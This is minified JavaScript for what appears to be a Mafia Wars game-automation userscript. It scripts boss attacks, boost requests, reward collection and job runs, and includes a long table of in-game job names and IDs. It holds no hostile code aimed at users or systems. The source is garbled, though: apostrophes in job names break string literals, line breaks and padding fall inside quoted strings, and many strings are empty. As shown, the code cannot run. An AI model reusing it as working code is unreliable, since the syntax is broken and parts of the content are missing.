          ca() && a.X && (a.xh && (a.nf || (a.nf = $("#" + c + '_boss')), a.nf && (b = "", a.n.N && (b += a.n.kg + ' <span class="health">' + l(a.n.N) + '</span> | Rage: ' + l(a.n.Qf) + ' | Fatigue: ' + l(a.n.wg) + '/<span class="stamina">' + l(a.n.Ve) + '</span> | Score: ' + l(a.n.Ja) + '<br/>', b += 'Racketeer: ' + a.n.O[3].count + (a.n.O[3].Ta ? "" : Da(' [asked]')), b += ' | Arsonist: ' + a.n.O[2].count + (a.n.O[2].Ta ? "" : Da(' [asked]')), b += ' | Bruiser: ' + a.n.O[1].count + (a.n.O[1].Ta ? "" : Da(' [asked]'))), a.nf.html(b))), a.bb && (a.U || (a.U = $("#" + c + '_stats')), a.U && (b = "", a.w.oa && (b += 'Damage Done: ' + l(a.w.tb) + " " + Da("[" + l(o(a.w.tb / a.w.oa)) + '/second]') + ' | Running for: ' + sa(a.w.oa)), a.U.html(b))), V.Ra())
        }
        I.prototype.zi = function () {
          a.Wa = -1;
          a.d = 1
        }
        I.prototype.tg = function () {
          a.wf++;
          E.J(G('xw_controller=Epicclanboss&xw_action=epic_attack&consumable_id=0&boss_id=' + a.Wa), function (b) {
            a.qk(b)
          })
        }
        I.prototype.qk = function (b) {
          var e, c;
          if (a.L(b)) if (200 === b.status) {
            a.wf--;
            try {
              e = JSON.parse(b.responseText), c = JSON.parse(e.data), c.message.success ? (a.Oh += c.damage.toBoss, a.n.N = Math.min(a.n.N, c.bossHealth), a.n.Qf = c.bossRage, a.n.wg = c.userFatigue, a.n.Ja = c.userScore, a.n.Ve = c.staminaRequired, a.n.O[3].count = c.pendingRollEffects[3].count, a.n.O[2].count = c.pendingRollEffects[2].count, a.n.O[1].count = c.pendingRollEffects[1].count, a.n.O[3].Ta = c.askDisplay[3], a.n.O[2].Ta = c.askDisplay[2], a.n.O[1].Ta = c.askDisplay[1], a.w.tb += c.damage.toBoss, a.M(), 0 !== a.zh() && (a.ug = g)) : 'The fight is over.' === c.message || 'The boss is dead.' === c.message ? (a.ug = g, -1 !== a.Wa && (n(A('Epic Boss', c.message)), a.zi())) : B(p('Epic Boss', c.message))
            } catch (d) {
              B(p('Epic Boss', 'Problem Hitting Boss - ' + d))
            }
            a.ug ? 0 >= a.wf && a.o() : a.tg()
          } else a.wf--, a.tg()
        }
        I.prototype.wk = function (b, e) {
          E.J(G('xw_controller=Epicclanboss&xw_action=epic_send_role&cell_id=0&role_id=' + a.n.aj + '&boss_id=' + a.Wa + '&target_ppid=' + b), function (b) {
            a.xk(b, e)
          })
        }
        I.prototype.xk = function (b, e) {
          var c, d;
          if (a.L(b)) {
            if (a.P(b, 'Send Boost')) try {
              c = JSON.parse(b.responseText), d = JSON.parse(c.data), x.eb(c), d.message && d.message.success ? n(A('Send Boost', 'Sent boost to ' + e)) : (n(p('Send Boost', 'Problem sending boost to ' + e + " - " + d.message.message)), 'This fight is over!' == d.message.message && (a.Wa = -1))
            } catch (k) {
              B(p('Send Boost', 'Problem sending boost to ' + e + " - " + k))
            }
            a.uf = m;
            a.vf = m;
            a.bd()
          }
        }
        I.prototype.ok = function () {
          E.J(G('xw_controller=Epicclanboss&xw_action=epic_ask_role&role_id=' + a.ub + '&boss_id=' + a.Wa), function (b) {
            a.pk(b)
          })
        }
        I.prototype.pk = function (b) {
          var e;
          if (a.L(b)) {
            if (a.P(b, '')) try {
              e = JSON.parse(b.responseText), e.data && e.data.impulseBuy && e.data.impulseBuy.message ? (n(A('', La(e.data.impulseBuy.message))), a.ub = 0) : B(p('', 'Problem Asking For Boosts'))
            } catch (c) {
              B(p('', c))
            }
            a.bd()
          }
        }
        I.prototype.Nh = function (b) {
          E.J(G('xw_controller=Epicclanboss&xw_action=epic_collect&boss_id=' + b), function (e) {
            a.rk(e, b)
          })
        }
        I.prototype.rk = function (b, e) {
          if (a.L(b)) if (200 == b.status) {
            n(A('Epic Boss', 'Collected Boss ' + e));
            var c, d = /item_id="(\d+)"/g;
            for (d.lastIndex = 0; c = d.exec(b.responseText);) X.ac(o(c[1]));
            a.o()
          } else B(p('Epic Boss', 'Problem Collecting Boss ' + e)), a.Nh(e)
        }
        I.prototype.Ph = function (b) {
          E.J(G('xw_controller=Epicclanboss&xw_action=epic_join&role=' + ["", 'bruiser', 'arsonist', 'racketeer'][a.b.se] + '&boss_id=' + b), function (e) {
            a.tk(e, b)
          })
        }
        I.prototype.tk = function (b, e) {
          a.L(b) && (a.P(b, 'Join Boss') ? (n(A('Join Boss', 'Joined Boss ' + e)), a.Wa = e, a.bd()) : a.Ph(e))
        }
        I.prototype.bd = function () {
          E.J(G('xw_controller=Epicclanboss&xw_action=boss_view&boss_id=' + a.Wa), function (b) {
            a.vk(b)
          })
        }
        I.prototype.vk = function (b) {
          var e;
          if (a.L(b)) if (a.P(b, 'Load Boss')) {
            x.Ha(b);
            a.Vi();
            if (e = db(b.responseText, 'var userData = ', /;[\r\n]+/)) a.n.Ve = e.stamina_required, a.n.Ja = e.user_score, a.n.aj = e.user_role, a.n.wg = e.current_fatigue, a.n.O[3].count = e.pendingRoleEffects[3].count, a.n.O[2].count = e.pendingRoleEffects[2].count, a.n.O[1].count = e.pendingRoleEffects[1].count, a.n.O[3].Ta = e.askDisplay_3, a.n.O[2].Ta = e.askDisplay_2, a.n.O[1].Ta = e.askDisplay_1;
            if (e = db(b.responseText, '', /;[\r\n]+/)) a.n.N = e.currHealth, a.n.Qf = e.current_rage, a.n.kg = e.bossName;
            a.M();
            a.Rh = F;
            a.n.N || (n(p('Load Boss', 'Boss ' + a.Wa + ' is not active')), a.zi());
            a.d = 2;
            a.o()
          } else a.bd()
        }
        I.prototype.sk = function (b) {
          E.J(G('xw_controller=Epicclanboss&xw_action=epic_create&boss_id=' + b), function (b) {
            a.Qh(b)
          })
        }
        I.prototype.Qh = function (b) {
          var e;
          a.L(b) && (a.P(b, 'Check Boss') ? -1 !== b.responseText.indexOf('Please wait a moment while we calculate the rewards') ? (n(A('Check Boss', 'Waiting for Rewards')), a.d = 23, a.bf = 5, a.G = 2, a.o()) : (e = /xw_controller=Epicclanboss&xw_action=epic_collect.+boss_id=(\d)/.exec(b.responseText)) ? (b = o(e[1]), n(A('Check Boss', 'Ready to Collect Boss ' + b)), a.Nh(b)) : (e = /BossOperationController.goToFight.(\d)/.exec(b.responseText)) ? (b = o(e[1]), n(A('Check Boss', 'Ready to Join Boss ' + b)), a.Ph(b)) : (e = /BossOperationController.startFight.(\d)/.exec(b.responseText)) ? (b = o(e[1]), n(A('Check Boss', 'Ready to Start Boss ' + b)), a.sk(b)) : (a.d = 23, a.bf = 5,
          a.G = 2, a.o()) : a.o())
        }
        I.prototype.zh = function () {
          if (a.uf) return 1;
          if (5 > i.ca || i.ca < a.n.Ve) return 2;
          0 === a.ub && (a.b.Zc && a.n.O[2].Ta && 0 >= a.n.O[2].count ? a.ub = 2 : a.b.$c && a.n.O[1].Ta && 0 >= a.n.O[1].count ? a.ub = 1 : a.b.ad && (a.n.O[3].Ta && 0 >= a.n.O[3].count) && (a.ub = 3));
          return 0 !== a.ub ? 3 : a.n.Ve > a.b.He && 0 === a.n.O[3].count ? 4 : a.n.Qf > a.b.Ge && 0 === a.n.O[2].count ? 5 : 0
        }
        I.prototype.o = function () {
          var b;
          a.Q = F;
          if (1 === a.d) a.G = 2, a.Ib();
          else if (2 === a.d) if (-1 === a.Wa) a.k(''), a.uk();
          else if (b = a.zh(), 1 === b) a.k('Sending boost to ' + a.vf + '…'), a.wk(a.uf, a.vf);
          else if (2 === b) a.Q = g, a.k('Waiting for more stamina…'), setTimeout(function () {
            a.f && a.o()
          }, 1E3);
          else if (3 === b) a.k('Asking for ' + a.nk[a.ub] + '…'), a.ok();
          else if (4 === b) a.Q = g, a.k('Waiting for fatigue to reduce (or a Racketeer boost)…'), setTimeout(function () {
            a.f && a.bd()
          }, 1E3);
          else if (5 === b) a.Q = g, a.k('Waiting for rage to reduce (or an Arsonist boost)…'), setTimeout(function () {
            a.f && a.bd()
          }, 1E3);
          else {
            a.k('Attacking ' + a.n.kg + '…');
            for (b = 0; b < a.b.fa; b++) a.tg()
          } else 23 === a.d ? (a.Q = g, a.Oi(a.bf, function () {
            a.f && (a.d = a.G, a.o())
          })) : 24 === a.d && a.Ga()
        }
        a.V();
        a.S();
        a.K.v && a.v(10, function () {
          a.ga()
        })
      }

      function eb(d) {
        var c = this;
        c.id = d;
        i = new ub;
        Fa = new ub;
        c.ba = {};
        c.Ff = 0;
        c.yb = m;
        c.X = g;
        c.Cg = g;
        c.U = m;
        c.Yf = F;
        c.kh = 0;
        eb.prototype.Ai = function () {
          pa.ka();
          ga.ka();
          qa.ka();
          Sa.ka();
          W.ka();
          Ga.ka();
          c.X = F;
          c.Cg = F;
          $("#" + d)
            .remove();
          $("#" + d + '_quest_icon')
            .remove();
          D$ = x = Fb = E = Ga = W = Sa = qa = ga = pa = m
        }
        eb.prototype.V = function () {
          var a;
          $('head')
            .append(Jb(''));
          var b = Jb('') + Qb + '' + xa + '' + xa + Jb('sg-xa') + ob + ' - <a href="' + Xb + Jb('!e<Ea') + yb + '&gs=501" class="mw_new_ajax" selector="#popup_fodder_hospital" title="View Active Items"><img src="' + T + Jb('`h^Ga') + T + '/graphics/empire/shadow_right_side.png&quot;);background-position:0px 8px;background-repeat:no-repeat;background-size:8px 100%;width:8px;vertical-align:top;"><div style="background:url(&quot;' + T + '/graphics/empire/shadow_upper_right.png&quot;);height:8px;width:8px;"/></td></tr></table><div style="float:left;background:url(&quot;' + T + '/graphics/empire/shadow_lower_left.png&quot;) repeat scroll 0% 0% transparent;height:8px;width:8px;"/><div style="float:left;background:url(&quot;' + T + '/graphics/empire/shadow_bottom.png&quot;) repeat scroll 0% 0% transparent;height:8px;width:729px;"/><div style="float:left;background:url(&quot;' + T + '/graphics/empire/shadow_lower_right.png&quot;) repeat scroll 0% 0% transparent;height:8px;width:8px;"/><div style="clear:both;"/></div></div>';
          a = $('#content_row');
          a.length || (a = $('#inner_page'));
          a.before(b.replace(/%ID%/g, d));
          a = '<li id="%ID%_quest_icon"><div style="width:50px;" title="' + Cb + ' Version ' + ob + '"><a class="quest_icon" style="background-image:url(&quot;' + xa + '/img/demon_icon_36.png&quot;);background-repeat:no-repeat;"><span/></a></div></li>';
          $('#quest_bar > ul')
            .prepend(a.replace(/%ID%/g,
          d));
          $("#" + d + '_close')
            .click(function () {
            c.Ai();
            return F
          });
          $("#" + d + '_toggle')
            .click(function () {
            c.X = ia(d + '', d + '_toggle');
            c.Xf();
            Kb();
            return F
          });
          $("#" + d + '_quest_icon')
            .click(function () {
            c.Cg = ia(d);
            c.Xf();
            Kb();
            return F
          });
          c.yb = $("#" + d + '_next_heal');
          $(document)
            .unbind('scroll');
          $('#spockholm_toolbar')
            .css({
            position: 'relative'
          });
          $('')
            .css('font-family', $('')
            .css('font-family') + ',"Arial Unicode MS"');
          D$.isVisible = ca = function () {
            return c.X && c.Cg
          }
        }
        eb.prototype.Xf = function () {
          if (Qa("#" + d)) {
            if (ca() && (c.U || (c.U = $("#" + d + '_stats')), c.U && i.Y && Fa.Y)) {
              var a = o(i.kc) / o(i.Jb),
                b = o(i.kc) / o(i.ca),
                e = o(i.kc) / (o(i.Jb) + o(i.ca)),
                wa = 10 > Math.abs(a) ? 2 : 0,
                ib = 10 > Math.abs(b) ? 2 : 0,
                k = 10 > Math.abs(e) ? 2 : 0;
              'Infinity' == a && (wa = a = 0);
              'Infinity' == b && (ib = b = 0);
              'Infinity' == e && (k = e = 0);
              var s = Math.min(o(100 * i.ge / i.he), 100),
                j = Math.min(o(100 * i.Jb / i.rh), 100),
                h = Math.min(o(100 * i.ca / i.sh), 100),
                n = 100 - Math.min(o(100 * i.kc / i.Sh), 100),
                p = 33 > s ? '' : 66 > s ? '255,165,0' : '0,192,0',
                a = '<div class="stat_block_top" title="Health"><span class="health">' + l(i.ge) + "/" + l(i.he) + '</span><br/><span style="display:block;width:' + s + '%;height:2px;background-color:rgb(' + p + ');float:left;"/><span style="display:block;width:' + (100 - s) + '%;height:2px;background-color:rgba(' + p + ',0.35);float:right;"/></div><span class="spacer"/><div class="stat_block_top" title="Energy"><span class="energy">' + l(i.Jb) + "/" + l(i.rh) + '</span>&nbsp;<span class="stat_info more_in">[' + (100 < a ? '>100' : a.toFixed(wa)) + ']</span><br/><span style="display:block;width:' + j + '%;height:2px;background-color:rgb(255,204,51);float:left;"/><span style="display:block;width:' + (100 - j) + '' + l(i.ca) + "/" + l(i.sh) + '</span>&nbsp;<span class="stat_info more_in">[' + (100 < b ? '>100' : b.toFixed(ib)) + ']</span><br/><span style="display:block;width:' + h + '%;height:2px;background-color:rgb(255,165,0);float:left;"/><span style="display:block;width:' + (100 - h) + '%;height:2px;background-color:rgba(255,165,0,0.35);float:right;"/></div><span class="spacer"/><div class="stat_block_top" title="Experience"><span class="experience">' + l(i.kc) + '</span>&nbsp;<span class="stat_info more_in">[' + (100 < e ? '>100' : e.toFixed(k)) + ']</span><br/><span style="display:block;width:' + n + '' + (100 - n) + '%;height:2px;background-color:rgba(0,153,255,0.35);float:right;"/></div><span class="spacer"/>',
                a = a + ('<div class="stat_block_top"><span>' + Aa[i.Ca] + '</span></div>'),
                a = a + '<div style="clear:both;"/><div style="display:inline-block;height:18px;vertical-align:top;">',
                a = a + ('<span class="attack" title="Attack">' + l(i.Yb) + '</span> ' + Oa(i.Yb - Fa.Yb) + '<span class="spacer"/><span class="defense" title="Defense">' + l(i.Vf) + '</span> ' + Oa(i.Vf - Fa.Vf) + '<span class="spacer"/><span class="sexy_mafia_attack" title="Mafia Attack">' + l(i.zf) + '</span> ' + Oa(i.zf - Fa.zf) + '<span class="spacer"/><span class="sexy_mafia_defense" title="Mafia Defense">' + l(i.Af) + '</span> ' + Oa(i.Af - Fa.Af) + '<span class="spacer"/><span class="mafia_size" title="Mafia Size">' + i.ci + '</span><span class="spacer"/>'),
                a = a + '</div>';
              c.U.html(a)
            }
            ga.M();
            V.Ra()
          } else c.Ai()
        }
        c.V()
      }

      function Hb() {
        this.init()
      }

      function D(d, c) {
        var a = this;
        H(a, J.prototype);
        a.Pa(d, c);
        a.K = ja.g[3];
        a.K.r = a;
        a.la = m;
        a.bb = g;
        a.U = m;
        a.w = {
          oa: 0
        };
        a.Qa = 0;
        a.Ab = 0;
        a.Zb = F;
        a.Sc = 0;
        a.og = 0;
        a.Kf = F;
        a.$b = F;
        a.i = m;
        a.zb = "";
        a.ra = new ua;
        var b = ["", 'Experience', 'Cash', "Job"],
          e = {
            1: {
              4: 'New York 4 - Enforcer',
              9: 'New York 9 - Boss'
            },
            5: {
              2: 'Las Vegas 2 - Paradise City',
              5: 'Las Vegas 5 - Mojave Desert',
              6: 'Las Vegas 6 - The Upper Strip',
              8: 'Las Vegas 8 - Hoover Dam'
            },
            7: {
              3: 'Brazil 3 - Manaus',
              6: 'Brazil 6 - Rio de Janeiro: Rocinha',
              8: 'Brazil 8 - Taubate Prison',
              113: 'Limited Time - Metal Mafia',
              121: 'Limited Time - When The Wild Strikes'
            },
            8: {
              2: '',
              114: 'Limited Time - The Grifter',
              115: 'Limited Time - Lighthouse Lobbying',
              120: 'Limited Time - NightCap',
              123: 'Limited Time - Vaudevillains'
            },
            9: {
              1: 'London 1 - Notes From The Underground',
              2: 'London 2 - East End Story',
              3: 'London 3 - Dead in Red',
              4: 'London 4 - To Russia with Love',
              5: 'London 5 - Schoolyard Games',
              6: 'London 6 - Collateral Damage',
              7: 'London 7 - Baby On Board',
              8: 'London 8 - American Psycho In London',
              9: 'London 9 - Turkish Delight',
              10: 'London 10 - Footing The Ball',
              101: 'Limited Time - The Mold',
              119: 'Limited Time - That'
              s A Wrap ',
          122: '
              Limited Time - Anchors Aweigh '
        }
      };
    D.prototype.vj = function () {
      var b, e, c = [{
        q: '
              Bring Your Theater Production To Life ',
        i: 920,
        r: 123,
        j: 8,
        z: 540,
        p: 0,
        C: 1152,
        m: 217,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              Coax The Baron To Climb The Pedestal Along With You ',
        i: 926,
        r: 123,
        j: 8,
        z: 648,
        p: 0,
        C: 1498,
        m: -18,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              Kill The Baron With Your Prop Gun But Make It Look Staged ',
        i: 928,
        r: 123,
        j: 8,
        z: 1026,
        p: 0,
        C: 2132,
        m: 402,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              Sneak Into The Mayor 's Office',
              i: 846,
              r: 115,
              j: 8,
              z: 540,
              p: 0,
              C: 1095,
              m: 224,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Knock Out The Mayor'
              s Guards ',
        i: 847,
        r: 115,
        j: 8,
        z: 486,
        p: 0,
        C: 1095,
        m: -22,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              Break In To The Lighthouse ',
        i: 850,
        r: 115,
        j: 8,
        z: 594,
        p: 0,
        C: 1325,
        m: -26,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              Lay The Trap ',
        i: 853,
        r: 115,
        j: 8,
        z: 864,
        p: 0,
        C: 2132,
        m: -23,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              ',
        i: 854,
        r: 115,
        j: 8,
        z: 1026,
        p: 0,
        C: 2132,
        m: 521,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              Enjoy The Game At Rival Team 's Cost',
              i: 74,
              r: 10,
              j: 9,
              z: 972,
              p: 0,
              C: 2189,
              m: -57,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Go To A Pub To Celebrate Your Team'
              s Win ',
        i: 75,
        r: 10,
        j: 9,
        z: 1188,
        p: 0,
        C: 2650,
        m: 435,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              Reap The Benefits ',
        i: 67,
        r: 9,
        j: 9,
        z: 1242,
        p: 0,
        C: 2765,
        m: -65,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              Suspect Foul Play ',
        i: 68,
        r: 9,
        j: 9,
        z: 1080,
        p: 0,
        C: 2362,
        m: 448,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              ',
        i: 58,
        r: 8,
        j: 9,
        z: 972,
        p: 0,
        C: 2189,
        m: -52,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              Steal The Puzzle Box ',
        i: 61,
        r: 8,
        j: 9,
        z: 1242,
        p: 0,
        C: 2650,
        m: 365,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              Fight Off The Police ',
        i: 62,
        r: 8,
        j: 9,
        z: 1188,
        p: 0,
        C: 2708,
        m: -75,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              Open The Puzzle Box ',
        i: 64,
        r: 8,
        j: 9,
        z: 1404,
        p: 0,
        C: 2765,
        m: 616,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              ',
        i: 49,
        r: 7,
        j: 9,
        z: 972,
        p: 0,
        C: 2074,
        m: 391,
        A: "job",
        B: '
              view_stage_jobs ',
        D: '
              '
      }, {
        q: '
              Chase Down Your Son 's Kidnappers',
              i: 52,
              r: 7,
              j: 9,
              z: 1188,
              p: 0,
              C: 2650,
              m: -56,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Sneak Into The Manor',
              i: 53,
              r: 7,
              j: 9,
              z: 1026,
              p: 0,
              C: 2247,
              m: 312,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Retire To The Isle Of Wight',
              i: 56,
              r: 7,
              j: 9,
              z: 1242,
              p: 0,
              C: 2765,
              m: -78,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Forge The Reports',
              i: 45,
              r: 6,
              j: 9,
              z: 1350,
              p: 0,
              C: 2938,
              m: -84,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Close The Investigation',
              i: 48,
              r: 6,
              j: 9,
              z: 1350,
              p: 0,
              C: 2765,
              m: 594,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Run Your Empire',
              i: 39,
              r: 5,
              j: 9,
              z: 1080,
              p: 0,
              C: 2420,
              m: -57,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Create A Russian Identity',
              i: 30,
              r: 4,
              j: 9,
              z: 1080,
              p: 0,
              C: 2247,
              m: -46,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Run The Racket',
              i: 32,
              r: 4,
              j: 9,
              z: 1134,
              p: 0,
              C: 2247,
              m: 382,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Approach The Police With Leads',
              i: 19,
              r: 3,
              j: 9,
              z: 702,
              p: 0,
              C: 1440,
              m: 127,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Leave The East End',
              i: 16,
              r: 2,
              j: 9,
              z: 648,
              p: 0,
              C: 1268,
              m: 149,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Fight Off The Thugs',
              i: 2,
              r: 1,
              j: 9,
              z: 270,
              p: 0,
              C: 404,
              m: 44,
              A: "job",
              B: 'view_stage_jobs',
              D: ''
            },
            {
              q: 'Spike "The Kid'
              s " Energy Drink With A Neurotoxin',
        i: 5,
        r: 1,
        j: 9,
        z: 324,
        p: 0,
        C: 519,
        m: 57,
        A: "
              job ",
        B: 'view_stage_jobs',
        D: ''
      }, {
        q: 'Collect Your Take',
        i: 8,
        r: 1,
        j: 9,
        z: 270,
        p: 0,
        C: 461,
        m: 61,
        A: "
              job ",
        B: 'view_stage_jobs',
        D: ''
      }, {
        q: 'Secure Hooch to Sell in Your Joint',
        i: 10,
        r: 2,
        j: 8,
        z: 324,
        p: 0,
        C: 692,
        m: 48,
        A: "
              job ",
        B: 'view_stage_jobs',
        D: ''
      }, {
        q: 'Bribe a Taubate Prison Worker',
        i: 87,
        r: 8,
        j: 7,
        z: 648,
        p: 0,
        C: 1439,
        m: 4455,
        A: "
              job ",
        B: 'view_stage_jobs',
        D: ''
      }, {
        q: '',
        i: 95,
        r: 8,
        j: 7,
        z: 810,
        p: 0,
        C: 1775,
        m: 35946,
        A: "
              job ",
        B: 'view_stage_jobs',
        D: ''
      }, {
        q: 'Execute a Slum Gang Leader',
        i: 70,
        r: 6,
        j: 7,
        z: 675,
        p: 0,
        C: 1408,
        m: 29601,
        A: "
              job ",
        B: 'view_stage_jobs',
        D: ''
      }, {
        q: 'Intercept a Rebel Convoy',
        i: 31,
        r: 3,
        j: 7,
        z: 405,
        p: 0,
        C: 704,
        m: 18245,
        A: "
              job ",
        B: 'view_stage_jobs',
        D: ''
      }, {
        q: 'Question Some Meth Heads',
        i: 72,
        r: 8,
        j: 5,
        z: 0,

        p: 120,
        C: 267,
        m: 41967,
        A: "
              map ",
        B: 'view2',
        D: ''
      }, {
        q: 'Dig Up Links To Halloran And A Meth Ring',
        i: 73,
        r: 8,
        j: 5,
        z: 165,
        p: 0,
        C: 342,
        m: 10200,
        A: "
              map ",
        B: 'view2',
        D: ''
      }, {
        q: 'Verify Halloran's Arrival At The Dam',
        i: 77,
        r: 8,
        j: 5,
        z: 158,
        p: 0,
        C: 321,
        m: 24110,
        A: "
              map ",
        B: 'view2',
        D: ''
      }, {
        q: 'Get A Council Member On Board',
        i: 52,
        r: 6,
        j: 5,
        z: 136,
        p: 0,
        C: 279,
        m: -5900,
        A: "
              map ",
        B: 'view2',
        D: ''
      }, {
        q: 'Eliminate A Hill Supplier',
        i: 54,
        r: 6,
        j: 5,
        z: 0,
        p: 128,
        C: 289,
        m: 39671,
        A: "
              map ",
        B: 'view2',
        D: ''
      }, {
        q: 'Clean Out A Biker Bar',
        i: 46,
        r: 5,
        j: 5,
        z: 0,
        p: 88,
        C: 191,
        m: 20722,
        A: "
              map ",
        B: 'view2',
        D: ''
      }, {
        q: 'Rescue A Hotelier',
        i: 50,
        r: 5,
        j: 5,
        z: 86,
        p: 0,
        C: 169,
        m: 16006,
        A: "
              map ",
        B: 'view2',
        D: ''
      }, {
        q: 'Fix A Boxing Match',
        i: 13,
        r: 2,
        j: 5,
        z: 79,
        p: 0,
        C: 146,
        m: 6622,
        A: "
              map ",
        B: 'view2',
        D: ''
      }, {
        q: 'Settle a Beef... Permanently',
        i: 69,
        r: 9,
        j: 1,
        z: 36,
        p: 0,
        C: 69,
        m: 805E4,
        A: "
              job ",
        B: 'view',
        D: ''
      }, {
        q: 'Make Arrangements for a Visiting Don',
        i: 74,
        r: 9,
        j: 1,
        z: 36,
        p: 0,
        C: 69,
        m: 805E5,
        A: "
              job ",
        B: 'view',
        D: ''
      }, {
        q: 'Travel to the Old Country',
        i: 76,
        r: 9,
        j: 1,
        z: 46,
        p: 0,
        C: 90,
        m: 19964E3,
        A: "
              job ",
        B: 'view',
        D: ''
      }, {
        q: 'Smuggle Thai Gems',
        i: 19,
        r: 4,
        j: 1,
        z: 16,
        p: 0,
        C: 25,
        m: 177100,
        A: "
              job ",
        B: 'view',
        D: ''
      }];
      for (b = 0; b < c.length; b++) e = new Hb, H(e, c[b]), e.rc = '' + e.i + "
              _ " + e.j, a.ra.push(e.rc, e)
    }
    D.prototype.ga = function () {
      a.f || (a.Qa = 0, a.Ab = 0, a.Zb = F, a.i = m, a.Sc = 0, a.og = 0, a.Kf = F, a.$b = F, a.la === m && (a.la = setInterval(function () {
        a.w.oa++;
        a.M()
      }, 1E3)), a.Cc());
      return F
    }
    D.prototype.Bi = function () {
      clearInterval(a.la);
      a.la = m;
      a.Ga()
    }
    D.prototype.ka = function () {
      a.f && !a.$b && (a.i && a.Je(a.i, g) ? (a.i.Pb = g, a.$b = g, a.k('Eliminating ' + b[a.i.Ea] + ' Bandit before stopping…'),
      a.hk()) : a.Bi());
      return F
    }
    D.prototype.l = function () {
      v(c + '_do_energy_jobs_data', a.b.Xc);
      v(c + '_do_stamina_jobs_data', a.b.$d);
      v(c + '_energy_first_data', a.b.Yc);
      v(c + '_job_bandits_data', a.b.Vc);
      v(c + '_cash_bandits_data', a.b.Uc);
      v(c + '_xp_bandits_data', a.b.Wc);
      v(c + '_ask_crew_data', a.b.Nc)
    }
    D.prototype.bm = function (b) {
      a.b.Xc = q(b);
      a.l();
      a.c();
      return g
    }
    D.prototype.In = function (b) {
      a.b.$d = q(b);
      a.l();
      a.c();
      return g
    }
    D.prototype.am = function (b) {
      a.b.Yc = q(b);
      a.l();
      a.c();
      return g
    }
    D.prototype.Yl = function (b) {
      a.b.Vc = q(b);
      a.l();
      a.c();
      return g
    }
    D.prototype.Xl = function (b) {
      a.b.Uc = q(b);
      a.l();
      a.c();
      return g
    }
    D.prototype.Tl = function (b) {
      a.b.oe = C(b, 10, 300);
      a.c();
      return g
    }
    D.prototype.Zl = function (b) {
      a.b.Wc = q(b);
      a.l();
      a.c();
      return g
    }
    D.prototype.Tn = function (b) {
      a.b.cf = C(b, 10, 300);
      a.c();
      return g
    }
    D.prototype.Me = function (b) {
      a.b.fa = C(b, 1, 5);
      a.c();
      return g
    }
    D.prototype.Kl = function (b) {
      a.b.Nc = q(b);
      a.l();
      a.c();
      return g
    }
    D.prototype.Ll = function (b) {
      a.b.je = C(b);
      a.c();
      return g
    }
    D.prototype.ha = function () {
      var b;
      a.b = {
        Xc: g,
        $d: F,
        Yc: g,
        Vc: g,
        Uc: g,
        oe: 300,
        Wc: g,
        cf: 300,
        fa: 3,
        Nc: F,
        je: 20,
        ib: {}
      };
      for (b = 0; b < a.ra.length; b++) a.b.ib[a.ra.Cb[b]] = F
    }
    D.prototype.S = function () {
      var b, e;
      a.ha();
      try {
        b = {}, e = za(c),
        b.Xc = e.energy_jobs, b.$d = e.stamina_jobs, b.Yc = e.energy_jobs_first, b.Vc = e.eliminate_job_bandits, b.Uc = e.eliminate_cash_bandits, b.oe = e.cash_bandit_time, b.Wc = e.eliminate_xp_bandits, b.cf = e.xp_bandit_time, b.fa = e.max_threads, b.Nc = e.ask_crew, b.je = e.ask_crew_value, b.ib = {}, H(b.ib, e.job_state), H(a.b, b)
      } catch (d) {}
      r("#
              " + c + '_do_energy_jobs', a.b.Xc);
      r("#
              " + c + '_do_stamina_jobs', a.b.$d);
      r("#
              " + c + '_energy_first', a.b.Yc);
      r("#
              " + c + '_job_bandits', a.b.Vc);
      r("#
              " + c + '_cash_bandits', a.b.Uc);
      u("#
              " + c + '_cash_bandit_time', a.b.oe);
      r("#
              " + c + '_xp_bandits', a.b.Wc);
      u("#
              " + c + '_xp_bandit_time', a.b.cf);
      u("#
              " + c + '_max_threads', a.b.fa);
      r("#
              " + c + '_ask_crew', a.b.Nc);
      u("#
              " + c + '_ask_crew_value', a.b.je);
      for (b = 0; b < a.ra.length; b++) e = a.ra.Cb[b], a.b.ib[e] ? $("#
              " + e)
        .addClass('ui-selected') : $("#
              " + e)
        .removeClass('ui-selected');
      $("#
              " + c + '_job_list')
        .scrollTop();
      a.l()
    }
    D.prototype.V = function () {
      a.vj();
      a.Wi();
      ra(a, aa('Options', 'options', '<div style="
              width: 45 % ;
              float: left;
              ">' + ba('Jobs', '', ma('div_jobs', t('Perform energy jobs', 'do_energy_jobs') + t('Perform stamina jobs',
